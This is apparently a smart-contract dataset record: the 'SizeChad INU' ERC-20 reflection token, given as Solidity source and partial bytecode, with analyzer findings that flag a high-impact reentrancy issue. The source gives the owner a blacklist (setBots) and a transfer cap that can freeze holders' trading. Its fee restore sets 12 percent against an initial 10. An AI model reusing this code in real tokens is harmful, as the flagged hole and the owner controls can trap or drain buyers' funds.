015264647265737360d81b606482015260840161043d565b6001600160a01b038216610d8b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043d565b60008111610ded5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043d565b6001600160a01b03831660009081526006602052604090205460ff1615610e1357600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5557506001600160a01b03821660009081526005602052604090205460ff16155b15610fac576000600955600c54600a55600f546001600160a01b038481169116148015610e905750600e546001600160a01b03838116911614155b8015610eb557506001600160a01b03821660009081526005602052604090205460ff16155b8015610eca5750600f54600160b81b900460ff165b15610ede57601054811115610ede57600080fd5b600f546001600160a01b038381169116148015610f095750600e546001600160a01b03848116911614155b8015610f2e57506001600160a01b03831660009081526005602052604090205460ff16155b15610f3f576000600955600b54600a555b6000610f4a306105a5565b600f54909150600160a81b900460ff16158015610f755750600f546001600160a01b03858116911614155b8015610f8a5750600f54600160b01b900460ff165b15610faa57610f98816110b4565b478015610fa857610fa847610ff6565b505b505b610fb7838383611259565b505050565b60008184841115610fe05760405162461bcd60e51b815260040161043d91906118ed565b506000610fed8486611a3c565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610927573d6000803e3d6000fd5b60006007548211156110975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043d565b60006110a1611264565b90506110ad8382611287565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561115e57600080fd5b505afa158015611172573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119691906116ea565b816001815181106111b757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111dd9130911684610ba1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611216908590600090869030904290600401611975565b600060405180830381600087803b15801561123057600080fd5b505af1158015611244573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fb78383836112c9565b60008060006112716113c0565b90925090506112808282611287565b9250505090565b60006110ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611400565b6000806000806000806112db8761142e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061130d908761148b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133c90866114cd565b6001600160a01b03891660009081526002602052604090205561135e8161152c565b6113688483611576565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113ad91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113db8282611287565b8210156113f757505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114215760405162461bcd60e51b815260040161043d91906118ed565b506000610fed84866119fd565b600080600080600080600080600061144b8a600954600a5461159a565b925092509250600061145b611264565b9050600080600061146e8e8787876115ef565b919e509c509a509598509396509194505050505091939550919395565b60006110ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fbc565b6000806114da83856119e5565b9050838110156110ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043d565b6000611536611264565b90506000611544838361163f565b3060009081526002602052604090205490915061156190826114cd565b30600090815260026020526040902055505050565b600754611583908361148b565b60075560085461159390826114cd565b6008555050565b60008080806115b460646115ae898961163f565b90611287565b905060006115c760646115ae8a8961163f565b905060006115df826115d98b8661148b565b9061148b565b9992985090965090945050505050565b60008080806115fe888661163f565b9050600061160c888761163f565b9050600061161a888861163f565b9050600061162c826115d9868661148b565b939b939a50919850919650505050505050565b60008261164e57506000610475565b600061165a8385611a1d565b90508261166785836119fd565b146110ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043d565b80356116c981611a9a565b919050565b6000602082840312156116df578081fd5b81356110ad81611a9a565b6000602082840312156116fb578081fd5b81516110ad81611a9a565b60008060408385031215611718578081fd5b823561172381611a9a565b9150602083013561173381611a9a565b809150509250929050565b600080600060608486031215611752578081fd5b833561175d81611a9a565b9250602084013561176d81611a9a565b929592945050506040919091013590565b60008060408385031215611790578182fd5b823561179b81611a9a565b946020939093013593505050565b600060208083850312156117bb578182fd5b823567ffffffffffffffff808211156117d2578384fd5b818501915085601f8301126117e5578384fd5b8135818111156117f7576117f7611a84565b8060051b604051601f19603f8301168101818110858211171561181c5761181c611a84565b604052828152858101935084860182860187018a101561183a578788fd5b8795505b838610156118635761184f816116be565b85526001959095019493860193860161183e565b5098975050505050505050565b600060208284031215611881578081fd5b81356110ad81611aaf565b60006020828403121561189d578081fd5b81516110ad81611aaf565b6000602082840312156118b9578081fd5b5035919050565b6000806000606084860312156118d4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611919578581018301518582016040015282016118fd565b8181111561192a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119c45784516001600160a01b03168352938301939183019160010161199f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119f8576119f8611a6e565b500190565b600082611a1857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3757611a37611a6e565b500290565b600082821015611a4e57611a4e611a6e565b500390565b6000600019821415611a6757611a67611a6e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ba57600080fd5b80151581146104ba57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203505da648eb1c30b5c1ca67dc290d4344a7c45cd7a49e64317019ec6f395a6c664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,357 |
0x8d5a05caaf43bba8406a7f1f6fba05088cf7f9c6
|
//SizeChad INU
//Limit Buy
//Cooldown
//Bot Protect
//Liqudity dev provides and lock
//TG: https://t.me/SizeChadInu
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SIZECHAD is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SizeChad INU";
string private constant _symbol = "SizeChad INU \xF0\x9F\x92\xAA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600c81526020017f53697a654368616420494e550000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601181526020017f53697a654368616420494e5520f09f92aa000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815